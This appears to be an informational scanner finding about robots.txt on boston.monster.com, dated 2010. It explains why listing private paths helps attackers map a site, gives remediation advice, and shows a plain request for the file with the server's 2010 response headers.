The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
Request
GET /robots.txt HTTP/1.0 Host: boston.monster.com
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 08 Nov 2010 07:09:12 GMT Server: Microsoft-IIS/6.0 P3P: CP=CAO DSP COR CURa ADMa DEVa TAIi IVAi IVDi CONi HISa TELi OUR DELi SAMi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/plain; charset=utf-8 Content-Length: 151